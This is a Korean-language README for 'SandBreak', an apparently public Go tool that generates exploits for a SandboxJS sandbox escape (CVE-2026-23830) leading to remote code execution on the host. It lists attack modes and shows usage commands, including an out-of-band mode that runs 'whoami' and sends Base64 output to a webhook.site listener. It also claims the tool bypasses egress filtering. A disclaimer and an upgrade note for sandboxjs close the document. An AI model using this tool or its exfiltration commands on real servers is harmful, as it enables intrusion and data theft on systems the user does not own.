SandBreak

CVE-2026-23830 익스플로잇 생성기 및 자동 Pwn 도구

SandBreak는 **SandboxJS 탈출 취약점(CVE-2026-23830)**을 활용하도록 설계된 강력한 Go 기반 익스플로잇 생성기입니다.

이 도구는 이전 버전의 sandboxjs에서 보호되지 않는 AsyncFunction 생성자를 악용하여 공격자가 V8 샌드박스 환경을 벗어나 호스트 시스템에서 임의 코드를 실행할 수 있게 합니다. Blind OOB Exfiltration, Defacement, Error-Based RCE를 포함한 여러 페이로드 모드를 지원합니다.

기능

• 2가지 공격 모드:
  • oob: 블라인드 시나리오를 위한 대역외 데이터 유출(HTTP/HTTPS).
  • calc: calc.exe 실행(클래식 PoC).
• 스마트 OOB: 서버 충돌을 방지하기 위해 HTTP와 HTTPS를 자동으로 감지합니다.
• Go 기반: 단일 바이너리로, 공격자 머신에 추가 의존성이 필요 없습니다.
• 경량화: 순수하고 축소된 JavaScript 페이로드를 생성합니다.

설치

리포지토리를 클론하고 실행하세요:

git clone https://github.com/Galaxy-sc/CVE-2026-23830-SandBreak.git
cd CVE-2026-23830-SandBreak
go run CVE-2026-23830.go

사용법

go run CVE-2026-23830.go -mode [MODE] -cmd [COMMAND] [OPTIONS]

1. OOB 모드 (Blind RCE - 전문가용)

출력 피드백이 없을 때 사용합니다. 명령을 실행하고 Base64로 인코딩된 결과를 리스너(예: webhook.site)로 전송합니다.

go run CVE-2026-23830.go -mode oob -cmd "whoami" -url "https://webhook.site/YOUR-UUID"

네트워크 오류를 처리하여 기본적인 이그레스 필터링 충돌을 성공적으로 우회합니다.

2. Calc 모드 (로컬 테스트)

Windows 서버에서 계산기를 실행합니다.

go run CVE-2026-23830.go -mode calc

개념 증명 (PoC)

시나리오: OOB 유출

사이트에 시각적 출력이 없음에도 불구하고 공격자가 Webhook을 통해 서버의 사용자 데이터를 수신하는 모습.

면책 조항

이 도구는 교육 목적 및 승인된 침투 테스트를 위해서만 제작되었습니다.

• 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에는 이 도구를 사용하지 마십시오.
• 작성자는 이 도구로 인한 오용이나 손해에 대해 책임을 지지 않습니다.

완화 조치

AsyncFunction 생성자가 제대로 샌드박싱된 최신 버전으로 sandboxjs를 업그레이드하세요.

npm update sandboxjs

작성자: Meysam Bal-afkan

라이선스: MIT